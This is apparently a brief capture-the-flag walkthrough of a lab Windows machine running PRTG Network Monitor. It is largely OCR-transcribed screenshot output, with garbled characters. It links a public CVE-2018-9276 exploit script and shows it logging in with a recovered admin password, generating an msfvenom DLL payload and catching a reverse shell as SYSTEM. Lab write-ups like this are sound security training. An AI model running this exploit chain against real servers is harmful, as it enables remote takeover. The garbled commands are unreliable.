nmap
Anonymous FTP
PRTG Files are under C:\ProgramData\Paessler\PRTG Network Manager
Looking for password
The version of PRTG is vulnerable
Use the following exploit:
https://raw.githubusercontent.com/wildkindcc/CVE-2018-9276/master/CVE-2018-9276.py
![python CVE-2018-9276.py -i
80 --lhost
10.10. 10.152
10.10. 14.13
-p
[PRTG/18.1.37.13946] is Vulnerable!
Exploiting [10. 10. 10. 152: 80] as [prtgadmin/PrTg@dmin2019]
Session obtained for [prtgadmin:PrTg@dmin2019]
-Iport 8888
--user prtgadmin
- -password PrTg@dmin2019
File staged at successfully with objid of
Session obtained for [prtgadmin:PrTg@dmin2019]
Notification with objid [2018] staged for execution
[2018]
Generate msfvenom payload with [LHOST=IO. 10. 14.13 LPORT=8888 OUTPUT=/tmp/nhgcapgw.dll]
No platform was selected, choosing Plsf: :module: :Platform: :Windows from the payload
No arch selected, selecting arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 324 bytes
Final size of dll file: 5120 bytes
Config file parsed
Callback added for UUID 48324FC8-1670-01D3-1278-5A478F6EE188 V:3.O
Callback added for UUID 68FFD098-A112-3610-9833-46C3F87E345A V: 1.0
Config file parsed
Hosting payload at
Session obtained for [prtgadmin:PrTg@dmin2019]
Command staged at successfully with objid of [2019]
Session obtained for [prtgadmin:PrTg@dmin2019]
Notification with objid [2019] staged for execution
Attempting to kill the impacket thread
Impacket will maintain its own thread for active connections, so you may find it's still listening on
ps aux I grep <script name> and kill -9 <pid> if it is still running : )
The connection will eventually time out.
Listening on [10.10.14.13:8888 for the reverse shell!]
listening on [any] 8888
Incoming connection (10.10. 10. 152, 53994)
AUTHENTICATE MESSAGE (N, NETMON)
[ *J User \NETPION authenticated successfully
:4141414141414141](https://lh3.googleusercontent.com/gnzVx5Ei3WO_nD55okGSgyAKn7-5sKbhWd3Z48i-VbAXJX5RthtXI5YVzPLKRAq330Fn39JQ2MD5ltPltogpuEk5vZweS0c2Opz315ozhp9in7zLjnf0HKjHtMAP4m0Ow5b1wfgL)
I got NT Authority\System
![[+] Listening on [10.10.14.13:8888 for the reverse shell!]
listening on [any] 8888
Incoming connection (10.10. 10.152, 53994)
AUTHENTICATE MESSAGE (N, NETMON)
[ *J User \NETPION authenticated successfully
:4141414141414141
connect to [10.10. 14.13] from (UNKNOWN) [10.10. 10.152]
Microsoft Windows [Version 10.0. 14393]
(c) 2016 Microsoft Corporation. All rights reserved.
Disconnecting Share(1:IPC$)
whoami
whoami
nt authority\system
53996](https://lh5.googleusercontent.com/SPhoo60NmoktgZ7IPhYvQ_j_0wljW_N634VvVHYPRsivxZA5uJIMsk4sSG21Pb9oMYisME63e4a7zV_Nm4NzP5BAv9nk0_nVz686Rqm1--oAnmF4DmnE-Xw-AJRlNBwKoBUXGbVF)